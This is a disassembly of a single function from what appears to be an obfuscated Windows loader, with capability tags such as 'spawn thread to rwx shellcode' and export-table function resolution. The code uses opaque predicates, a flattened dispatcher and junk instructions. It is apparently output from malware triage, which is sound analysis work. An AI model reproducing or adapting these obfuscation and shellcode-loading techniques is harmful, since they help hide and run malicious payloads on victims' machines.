Function at 0x405690
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe18
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b0], eax
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor esi, esi
sub esi, ecx
add esi, 0
mov edx, 0x9ec37f93
add edx, 0
sub edx, 0x50d8d0b2
sub edx, 0x9ec37f93
add esi, 0x6b93d1
add esi, edx
sub esi, 0x6b93d1
xor edx, edx
sub edx, esi
add edx, 0
add edx, 0xf68663a8
add edx, 0x9ff03503
sub edx, 0xf68663a8
add edx, 0x5563b25a
sub edx, 1
sub edx, 0x5563b25a
sub edx, 0xdce83c2d
sub edx, 0x9ff03503
add edx, 0xdce83c2d
xor esi, esi
sub esi, 0xd6631030
sub esi, 0x50d8d0b2
add esi, 0xd6631030
sub edx, 0x41592973
add edx, esi
add edx, 0x41592973
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1a2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1a1], al
mov dword [ebp - 0x1a8], 0x72ee461
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1b4], eax
sub eax, 0x80498b40
je 0x42b1bc
jmp 0x405788
mov eax, dword [ebp - 0x1b4]
sub eax, 0x80763d81
je 0x419b06
jmp 0x40579e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x82a5fead
je 0x4226ce
jmp 0x4057b4
mov eax, dword [ebp - 0x1b4]
sub eax, 0x83d134d5
je 0x42879a
jmp 0x4057ca
mov eax, dword [ebp - 0x1b4]
sub eax, 0x84331dd0
je 0x430ad8
jmp 0x4057e0
mov eax, dword [ebp - 0x1b4]
sub eax, 0x84beb451
je 0x4368d1
jmp 0x4057f6
mov eax, dword [ebp - 0x1b4]
sub eax, 0x851d3081
je 0x4360ff
jmp 0x40580c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x85ae9dc2
je 0x4142b9
jmp 0x405822
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8663b943
je 0x4205ab
jmp 0x405838
mov eax, dword [ebp - 0x1b4]
sub eax, 0x87b9f0a0
je 0x428766
jmp 0x40584e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x87d0ed47
je 0x4362dc
jmp 0x405864
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8a096139
je 0x412751
jmp 0x40587a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8aa6014a
je 0x4105db
jmp 0x405890
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8b5facd1
je 0x414ad9
jmp 0x4058a6
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8d44d80b
je 0x435c37
jmp 0x4058bc
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8d71eeca
je 0x42696a
jmp 0x4058d2
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f2df92d
je 0x4234a8
jmp 0x4058e8
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f49148b
je 0x40e6e6
jmp 0x4058fe
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8f9e1cda
je 0x435f03
jmp 0x405914
mov eax, dword [ebp - 0x1b4]
sub eax, 0x901da477
je 0x41790d
jmp 0x40592a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x914e74d2
je 0x40e09a
jmp 0x405940
mov eax, dword [ebp - 0x1b4]
sub eax, 0x91691015
je 0x436749
jmp 0x405956
mov eax, dword [ebp - 0x1b4]
sub eax, 0x917a806f
je 0x4245e1
jmp 0x40596c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x91dcfe9a
je 0x413cde
jmp 0x405982
mov eax, dword [ebp - 0x1b4]
sub eax, 0x922081e1
je 0x42d726
jmp 0x405998
mov eax, dword [ebp - 0x1b4]
sub eax, 0x948fcd98
je 0x4099e5
jmp 0x4059ae
mov eax, dword [ebp - 0x1b4]
sub eax, 0x958a537b
je 0x42695b
jmp 0x4059c4
mov eax, dword [ebp - 0x1b4]
sub eax, 0x95a92431
je 0x42a810
jmp 0x4059da
mov eax, dword [ebp - 0x1b4]
sub eax, 0x96487a3a
je 0x4360cf
jmp 0x4059f0
mov eax, dword [ebp - 0x1b4]
sub eax, 0x96d5355d
je 0x436123
jmp 0x405a06
mov eax, dword [ebp - 0x1b4]
sub eax, 0x97797792
je 0x428f02
jmp 0x405a1c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9974954c
je 0x41fdce
jmp 0x405a32
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9b23005f
je 0x4362aa
jmp 0x405a48
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9b525cc0
je 0x4079df
jmp 0x405a5e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9bd99200
je 0x432519
jmp 0x405a74
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9c61b4c7
je 0x41b709
jmp 0x405a8a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9e84c555
je 0x436407
jmp 0x405aa0
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9ee1db6c
je 0x40b57a
jmp 0x405ab6
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9f0dcdd1
je 0x4317ca
jmp 0x405acc
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9f86928e
je 0x42dc48
jmp 0x405ae2
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa22a5f9a
je 0x409961
jmp 0x405af8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa2bd2ece
je 0x409970
jmp 0x405b0e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa2caea02
je 0x41f94b
jmp 0x405b24
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa3b5a779
je 0x40b595
jmp 0x405b3a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa40bf269
je 0x4164fb
jmp 0x405b50
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa43f10f5
je 0x4363f8
jmp 0x405b66
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa550ab74
je 0x42ffc2
jmp 0x405b7c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa821d8cc
je 0x40e9dd
jmp 0x405b92
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa90eb4fd
je 0x418750
jmp 0x405ba8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa9424830
je 0x42d8e7
jmp 0x405bbe
mov eax, dword [ebp - 0x1b4]
sub eax, 0xab02aebd
je 0x43634b
jmp 0x405bd4
mov eax, dword [ebp - 0x1b4]
sub eax, 0xab5e85b7
je 0x4245f0
jmp 0x405bea
mov eax, dword [ebp - 0x1b4]
sub eax, 0xaffd0b26
je 0x43255f
jmp 0x405c00
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb0fbb8d6
je 0x41ff51
jmp 0x405c16
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb3744f88
je 0x43635a
jmp 0x405c2c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb3a8b21c
je 0x436644
jmp 0x405c42
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb5710bc5
je 0x41c68d
jmp 0x405c58
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb5780b02
je 0x41c76b
jmp 0x405c6e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb81ad87e
je 0x41d40a
jmp 0x405c84
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb8c7b21b
je 0x4365f3
jmp 0x405c9a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb9876de2
je 0x4362eb
jmp 0x405cb0
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb9a50e4a
je 0x41f930
jmp 0x405cc6
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbb4bfe0c
je 0x42d46a
jmp 0x405cdc
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbb54dd3d
je 0x41a47a
jmp 0x405cf2
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbbbfe6a0
je 0x40ea7e
mov ecx, dword [ebp - 0x1b0]
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x198]
lea eax, [0x4c25d0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x47800
call fcn.004b5850
add esp, 0xc
ror ebx, 0xf
neg edi
add esi, 8
inc eax
rcl edx, 0x7e
neg esi
add edi, 0x85
sbb eax, 0xb8
imul ebx
bswap esi
sub edx, 0x86
mov esi, 0xa3
rol esi, 0x83
neg edi
inc edx
dec edi
bswap ebx
imul eax
inc edi
and ebx, 0x1e
dec ebx
and esi, 0xaf
imul edi
bswap esi
not ebx
inc ebx
imul edi
rol ebx, 0x47
sbb edx, 0xff
add esi, 0x64
rcl esi, 0xfd
rcr eax, 0x4a
ror ebx, 0x16
neg eax
dec eax
imul esi
bswap esi
imul esi
bswap eax
or ebx, 0x18
not eax
bswap edi
add eax, 0xe4
imul eax
add ebx, 0xbd
rcr eax, 0xd5
ror esi, 0x62
sbb edi, 0x72
sbb ebx, 0x25
and ebx, 0x6b
rcr edx, 0x50
rol esi, 0x11
or esi, 0x9e
rcl eax, 0x37
dec eax
neg esi
sub edx, 0xfb
or ebx, 0x40
ror esi, 0xc5
bswap edi
add eax, 0x80
imul eax
dec ebx
and ebx, 0xc
bswap edx
sbb esi, 0xbe
inc eax
inc edx
imul edi
add ebx, 0x7d
imul esi
bswap esi
neg ebx
not edi
dec edi
inc edx
and eax, 0xe4
rcr edx, 0xa2
dec esi
rcl esi, 0xc0
sub edx, 0xbc
sub eax, 0xb9
dec edi
imul edi
or edi, 0x83
neg edx
not ebx
bswap ebx
ror eax, 0x31
rcl ebx, 0x16
and edx, 0xf0
rol eax, 0x43
not eax
dec edx
bswap ebx
inc eax
imul edi
or edx, 0x99
or eax, 0xae
or ebx, 0xc0
dec edi
dec edi
sbb eax, 0xaa
not edi
sub eax, 0xb0
sub eax, 0x7d
mov eax, 0x22
add edi, 0x58
inc eax
inc edi
not esi
ror edx, 0xe
dec edi
dec eax
sbb esi, 0x23
rcr eax, 0x16
inc edx
mov ebx, 0x97
inc ebx
mov esi, 0x88
inc eax
bswap edx
ror ebx, 0x71
rcr edx, 0x1a
not edi
dec ebx
ror edx, 0x51
inc edi
add esi, 0xc2
rcl eax, 0x66
neg edi
imul edi
dec ebx
dec edx
imul edx
add edx, 0xb9
inc edx
mov eax, 0x1e
mov ebx, 0x21
sbb edx, 0x36
bswap edi
rcl esi, 0xd1
and ebx, 0x3e
ror ebx, 0xbc
not esi
not ebx
dec edi
mov ebx, 0xc5
dec ebx
rol eax, 0x6c
imul edx
add edx, 0x32
dec eax
neg edx
mov edx, 0x83
or esi, 0xf1
imul edx
rcl esi, 0xda
add edi, 0x6f
dec eax
dec eax
or edx, 0xf0
not edi
inc eax
rcl esi, 0x98
or edi, 0xcf
imul edi
add eax, 0x8f
mov esi, 0x5b
not eax
ror ebx, 0x84
dec edx
add ebx, 0x60
and edi, 0x21
sbb edx, 0x61
not eax
bswap edi
inc ebx
imul esi
or esi, 0xf9
imul esi
mov eax, 0xe
imul ebx
inc edi
neg eax
neg edi
rol esi, 0x7f
sub ebx, 0x1b
neg ebx
bswap ebx
rcr esi, 0x21
mov ebx, 0xee
sbb eax, 0xc6
rcl eax, 0x6b
ror edi, 0xb4
rcl edx, 0xfa
bswap esi
bswap edx
rcl eax, 0x5b
neg edi
ror edi, 7
neg edx
imul ebx
bswap ebx
and esi, 0xc9
sbb edi, 0x9c
or ebx, 0x23
neg edx
ror esi, 0
ror esi, 0x45
dec ebx
sbb esi, 0x3a
ror ebx, 0xde
rol ebx, 0xdb
sub edi, 0xa0
inc edi
inc eax
sbb ebx, 0x18
inc ebx
neg edx
imul esi
imul edi
neg edi
rcl eax, 0x3c
bswap edi
imul ebx
or edx, 0xc0
imul eax
rcl ebx, 0x6f
inc eax
add edx, 0xe3
inc eax
ror edx, 0xa1
mov ebx, 0xa6
dec eax
mov eax, 0x5f
imul edx
dec edi
sub ebx, 0xaa
ror eax, 0x9d
rcr ebx, 0x10
sub eax, 0x52
sbb esi, 0
and esi, 0xc5
or esi, 0xb2
neg ebx
neg eax
imul edi
mov edx, 0x78
not edx
not edx
ror eax, 0x57
rcl esi, 0x24
sub eax, 0x96
not esi
not edi
mov edi, 0xa6
bswap ebx
not eax
rcr esi, 0x49
sub esi, 0xa2
not edx
not esi
add edx, 0x78
not edi
inc eax
neg ebx
inc edi
imul eax
dec ebx
rol ebx, 0x2f
and ebx, 0x7c
inc edx
ror edx, 0xba
not esi
not edx
neg ebx
rcl ebx, 0xfc
not edi
add esi, 0x2c
sbb eax, 0xde
and edx, 0xf
neg ebx
neg esi
rcr edx, 0xb0
rol edi, 0
neg edx
rol edi, 0x24
rcr edx, 0x5b
or eax, 0x82
rcr esi, 0x17
and eax, 0x5a
rol edx, 0xa9
not eax
bswap esi
ror eax, 0xda
imul eax
neg esi
sub edi, 0xf9
mov eax, 0x68
not edx
rcr eax, 0x2e
inc eax
sub ebx, 0x32
imul edi
bswap edx
bswap ebx
not eax
neg edi
ror esi, 0x89
dec eax
rcr eax, 0x41
mov edx, 0x73
or eax, 0x25
bswap ebx
sbb ebx, 0x1f
inc eax
rcl esi, 0x81
mov ebx, 0xee
or eax, 0xa6
and eax, 0x96
add ebx, 0x30
add eax, 0x7e
neg ebx
bswap esi
neg eax
not ebx
imul ebx
inc edx
imul edi
not esi
imul edx
rol ebx, 0xf5
sub esi, 7
sub ebx, 0x98
sbb edx, 0xb1
inc ebx
inc edx
rcr eax, 0x28
dec edi
sub ebx, 0x45
rcl eax, 0xdb
or eax, 0x4e
mov edi, 0xd6
sbb ebx, 0x29
sbb edi, 0x56
inc ebx
dec ebx
sub eax, 0x5d
sbb edx, 0x9f
add ebx, 0xb6
imul edi
sbb eax, 0xe4
mov edi, 0xa5
ror esi, 0xc8
not edi
rcl esi, 0xd2
rcr edi, 0xcd
rcl edi, 0x49
bswap edx
not edx
rol esi, 0x99
bswap edi
ror esi, 0xa9
inc eax
rcr edx, 0x73
neg edx
and esi, 0xb4
dec edi
not edx
not edx
rcl ebx, 0xbf
inc ebx
and esi, 0xa5
ror eax, 0x47
or ebx, 0x64
mov eax, 0x36
dec esi
sbb edx, 0x6e
bswap ebx
neg ebx
bswap esi
inc eax
imul edx
inc eax
ror esi, 0xa5
sub eax, 0x25
bswap edx
dec ebx
neg edi
neg eax
add edx, 0xde
ror edi, 0x2a
dec ebx
dec eax
or edx, 0xf8
rol eax, 0xad
sub ebx, 0x14
rol eax, 0xb3
dec esi
or edi, 0x45
rcr ebx, 0x64
imul esi
bswap edi
or esi, 0xd1
add ebx, 0xe2
rcr edi, 0x2b
and edi, 0xc4
rcl ebx, 0x6b
inc edi
imul ebx
rol ebx, 0x57
mov eax, 0xfa
and edi, 0xe5
bswap ebx
rol edi, 0x8d
neg eax
and edi, 0x90
add esi, 0x3b
inc eax
imul edi
sub eax, 0x69
dec eax
rcr edi, 0x17
rcr ebx, 0x41
neg eax
rcr eax, 0x33
dec edi
inc ebx
not eax
mov eax, 0x57
neg ebx
imul edx
neg ebx
rol edx, 0x8d
rcr ebx, 0x42
imul edi
imul edx
rcl ebx, 0x66
ror ebx, 0x38
neg edx
sbb esi, 0xd
mov edx, 0xe5
and ebx, 0x37
bswap esi
inc esi
not ebx
inc edi
or ebx, 0xcb
rcr eax, 0xbb
ror eax, 0x1f
sbb edx, 0x68
rcr edx, 0x87
sub edx, 0x3b
imul esi
neg ebx
ror eax, 0x9c
mov esi, 0xf3
dec edi
sbb ebx, 4
bswap edx
add edi, 0xde
bswap eax
not esi
inc ebx
dec edx
imul ebx
imul ebx
dec edx
add esi, 0xf7
sbb esi, 0x51
inc edi
mov edx, 0x25
sub eax, 0xc7
dec esi
bswap eax
or ebx, 0xa
rcr edx, 0x7b
sbb edi, 0x67
add edx, 0xc0
not edi
inc ebx
and edi, 0xc
and edx, 0x99
mov edx, 0x2d
bswap edx
sbb esi, 0xea
imul edx
rcl eax, 0x80
imul edi
inc edx
neg esi
sub edx, 0x99
dec esi
dec edi
and esi, 0x75
not edx
dec esi
bswap ebx
add esi, 0
rcr edi, 9
inc ebx
ror ebx, 0xc6
neg ebx
sbb edi, 0x7a
not eax
sbb eax, 0xaf
not ebx
dec eax
not esi
bswap edx
sbb eax, 0x96
bswap esi
dec eax
or edx, 0x79
add eax, 0x79
or esi, 0x5c
add ebx, 0xba
not edx
bswap eax
mov ebx, 0xe2
neg esi
add ebx, 0x50
ror edi, 0x46
not eax
sub eax, 0xb6
bswap edx
rcr edx, 0x9a
ror esi, 0x72
imul esi
neg esi
add ebx, 0x48
sub edx, 0x26
not edi
bswap eax
not eax
not eax
rcl esi, 0x12
dec edi
bswap eax
neg edx
not edx
neg edx
rol esi, 0x2f
inc edi
and edi, 0x43
ror edx, 0xc2
rcr edx, 0x19
or edi, 0x62
neg edi
add edi, 0x39
mov edi, 0x73
or ebx, 0xda
sub esi, 0x33
inc edx
ror esi, 0xc9
ror esi, 0x6d
not esi
rcl eax, 0x88
imul esi
rcr edi, 0x75
inc edi
or eax, 0x33
rcl edi, 0xce
or ebx, 0xd9
dec ebx
or eax, 0xb5
rol edx, 0xea
bswap esi
sbb esi, 0xd2
ror esi, 0x55
imul edx
rol eax, 0xec
sbb esi, 0x87
ror eax, 0x28
not edi
and esi, 0x35
sbb edi, 0x3f
rol eax, 0xb6
not ebx
neg eax
and edx, 0x29
mov edx, 0x78
sub ebx, 0xfe
mov eax, 0xb2
dec edx
bswap ebx
imul edi
inc edx
imul esi
dec edx
imul esi
mov edi, 0x16
not edx
sbb esi, 0xd7
dec edx
rcr ebx, 0x8c
or eax, 0xf2
neg esi
neg esi
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x47800
call section..text
add esp, 8
mov ecx, dword [ebp - 0x198]
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
imul esi
neg eax
imul esi
not eax
neg edx
dec edx
imul edi
rcr edx, 0x8c
bswap eax
not edi
imul esi
bswap ebx
sbb edi, 0x38
add eax, 0x98
dec eax
dec ebx
inc edx
inc ebx
bswap edx
rcr edi, 0xfb
and edx, 0xa
sub esi, 9
not edx
mov eax, 0xd8
rol edi, 0xeb
neg edx
inc ebx
or edx, 0xd0
or ebx, 0x9c
dec ebx
dec edx
rol edi, 0xca
inc edx
neg eax
rol edi, 0xcc
bswap esi
dec ebx
dec edx
inc esi
dec eax
and edx, 0xc4
rcr eax, 0x1a
add edi, 0x39
and eax, 8
bswap edi
inc edi
and ebx, 0xd7
rcr edx, 0x8c
bswap ebx
rcr eax, 0x43
neg esi
rcr edi, 0xd6
imul edi
not esi
dec ebx
rol edi, 0x80
inc edx
not esi
neg edx
rcr edi, 0x1e
not edx
inc edx
or edx, 0
and esi, 0x95
dec edx
and eax, 0x6d
rol edi, 0x69
or ebx, 0x36
imul esi
add ebx, 0x28
sbb edi, 0x71
rol ebx, 0x6f
rol esi, 0xaa
sub edx, 0xca
or eax, 0x6a
imul edx
imul ebx
ror ebx, 0xd1
bswap esi
neg ebx
ror esi, 0x60
not edi
rcl ebx, 0xa0
bswap esi
dec edi
not edi
rcr edi, 0x6e
and esi, 0x87
imul edx
ror ebx, 0xa6
or edi, 0x99
not eax
rcr edi, 0xb9
add ebx, 0x9d
and eax, 0xf4
not edi
neg eax
rcr edx, 0xe5
sub ebx, 0x4f
not edx
dec ebx
sub edx, 0x57
not edi
bswap eax
rcl edi, 0x21
bswap ebx
rcr esi, 0xd1
inc esi
ror edx, 0x2f
or edx, 0xe6
rcl edx, 0x21
sbb edx, 0x2c
and ebx, 0x99
rcr eax, 0xfa
inc eax
rcl esi, 0x67
neg ebx
sbb edx, 0xf5
rcr edi, 0xef
bswap edi
or esi, 0x50
rcr ebx, 0xd1
sbb ebx, 0x39
rol edi, 0x52
bswap edi
add eax, 0x5d
neg eax
ror edi, 0xec
mov ebx, 0x14
dec ebx
mov ebx, 0xc8
not esi
dec edx
sub edi, 0xc7
sbb esi, 0x79
and esi, 0xdb
inc eax
ror esi, 0x4b
inc ebx
not eax
sbb esi, 0xe8
add ebx, 0xc3
not esi
rol ebx, 0x67
not eax
bswap ebx
not edi
or ebx, 0x96
or eax, 0xb7
inc edi
neg edi
neg esi
rol edx, 0xd1
dec ebx
or eax, 0x6d
neg esi
sub edx, 0x5d
rcl eax, 0xb8
mov edi, 0xbc
bswap eax
sub edx, 0xbb
not ebx
imul eax
mov ebx, 0xea
and eax, 0x3b
rcr ebx, 0xa9
add eax, 0x1d
sbb edx, 0x4a
mov edi, 0x38
not edx
and eax, 0x5a
rcl ebx, 0xa7
imul edi
ror esi, 0x77
imul edx
add edx, 0x60
imul ebx
dec edi
dec ebx
inc edi
neg eax
rol edi, 0x2a
inc ebx
rcl esi, 0x18
and eax, 0x4e
rol ebx, 0x7f
ror edx, 0x5b
add edx, 0xc9
dec edi
not edx
rol ebx, 0xa5
add edx, 0x3a
inc eax
sbb eax, 0xa1
rol eax, 0xd7
inc ebx
add ebx, 0x57
rcl esi, 0x19
ror ebx, 0x54
ror edi, 0x71
neg edx
dec ebx
rcl edi, 0x31
neg eax
neg esi
add esi, 0x30
rol eax, 0xe8
add esi, 0xe7
and esi, 0x75
neg edi
bswap eax
not ebx
and esi, 0xc1
not eax
and edi, 0x19
neg esi
or edi, 0x63
imul eax
bswap ebx
imul ebx
and edi, 0x7d
not ebx
or eax, 0x55
and edx, 0xca
bswap edx
rcl edx, 0x89
neg eax
not ebx
neg esi
bswap eax
rcr esi, 0x8b
not edi
ror edi, 0x73
and edi, 0xca
neg esi
not edx
imul edx
bswap esi
inc esi
rol esi, 0x21
rcr edx, 0xa8
sbb esi, 0xbf
rcl esi, 0xc0
imul ebx
and eax, 0xc4
dec edi
neg edx
not edx
dec edi
add edi, 0x66
sbb esi, 0x2e
rcl edx, 0xe9
neg edx
neg edi
or edi, 0xb1
inc edx
sbb edi, 0x90
inc ebx
inc edi
neg ebx
or ebx, 0x3e
imul eax
imul eax
add edi, 0xaa
bswap esi
sbb edx, 0xa2
imul edx
inc ebx
sbb esi, 0x12
rcl ebx, 0x5a
dec edx
and edx, 0x8a
not ebx
add edi, 0x89
and esi, 3
neg edx
imul ebx
sbb eax, 0x1d
imul esi
not edx
and ebx, 0x74
bswap edx
rcr eax, 0x66
sub eax, 0xe3
sub ebx, 0x65
not edi
or eax, 6
sub eax, 0x93
imul edx
inc edx
ror edi, 0x70
inc edi
mov ebx, 0x15
dec ebx
or esi, 0xfb
neg edx
dec edi
rol esi, 0x71
bswap esi
not edx
inc esi
rcr eax, 0x26
and eax, 0xbe
not edx
sbb ebx, 0x83
dec edi
not edi
rcr ebx, 0x53
neg eax
add edi, 0x7e
dec edx
inc edx
neg esi
bswap edi
rol edx, 0x18
dec ebx
rcl edi, 0x63
sbb eax, 0xf9
sbb esi, 0x2e
rol edx, 0x1d
inc edi
ror edi, 0xbb
sub edi, 0x3a
dec edi
neg edi
rol ebx, 0xb7
rcl edx, 0x21
not edi
dec edi
neg eax
add edi, 0xfe
not edi
inc edx
bswap edi
rcr edi, 0xb6
not eax
neg esi
rcr esi, 0xa8
inc edi
bswap esi
or ebx, 0xe3
sbb edi, 0xf2
rcr eax, 0x15
imul esi
add eax, 0xc4
rcr edi, 0x6c
rcr edx, 0xf6
dec eax
rol eax, 0x40
sbb edx, 0xa5
bswap edx
not eax
or eax, 0xf7
rcl esi, 0x4f
neg edx
inc eax
not edi
bswap edi
imul edi
rol edx, 0xf5
not esi
bswap edi
not eax
add ebx, 0x39
not ebx
imul esi
not edx
and edi, 0x36
or ebx, 0x2b
sbb esi, 0x5c
rcr ebx, 0xde
rcl esi, 0x17
and eax, 0x18
bswap edx
not esi
sbb edi, 0x2d
rcl edi, 0x20
dec esi
inc edi
imul edx
inc edx
dec eax
rcr ebx, 0x8d
and eax, 0x8b
mov edi, 0xfa
bswap edx
imul esi
dec ebx
inc eax
dec edx
rol esi, 5
rol ebx, 0x8b
bswap edi
sub edx, 0x72
neg edi
or edi, 0x82
mov edi, 0xe3
neg eax
inc ebx
imul edi
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x194]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x1a8], 0x21e95389
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xeb34d35b
jmp 0x43690c
mov eax, dword [ebp - 0x18c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.004b5dd0
add esp, 0xc
mov eax, dword [ebp - 0x188]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.004b5dd0
add esp, 0xc
mov eax, dword [ebp - 0x188]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1a8], 0x948fcd98
jmp 0x43690c
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x184]
mov edx, dword [ecx + 0xa0]
mov dword [eax], edx
mov ecx, dword [ecx + 0xa4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf8], eax
mov edx, dword [ebp - 0x184]
mov eax, 0x6744937d
mov ecx, 0x1cdd502f
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xa3b5a779
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1ac], eax
jmp 0x43690c
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov esi, 0x6089b273
add esi, 0
sub esi, 0xe779bcec
sub esi, 0x6089b273
mov edx, ecx
add edx, 0x88bc14c5
add edx, esi
sub edx, 0x88bc14c5
sub edx, 0xf49813f1
sub edx, 0x568d7d55
add edx, 0xf49813f1
add edx, 0x87058f5d
sub edx, 1
sub edx, 0x87058f5d
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x568d7d55
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xe779bcec
add esi, 0
sub edx, 0x1af53f5b
sub edx, esi
add edx, 0x1af53f5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, cl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or dh, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov ch, 1
xor ch, 1
mov byte [ebp - 0x2a3], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
mov bh, dh
and bh, 1
mov byte [ebp - 0x2a5], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x2a4], al
mov al, byte [ebp - 0x2a5]
or ch, al
mov al, byte [ebp - 0x2a4]
or bh, al
mov al, byte [ebp - 0x2a3]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, ah
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
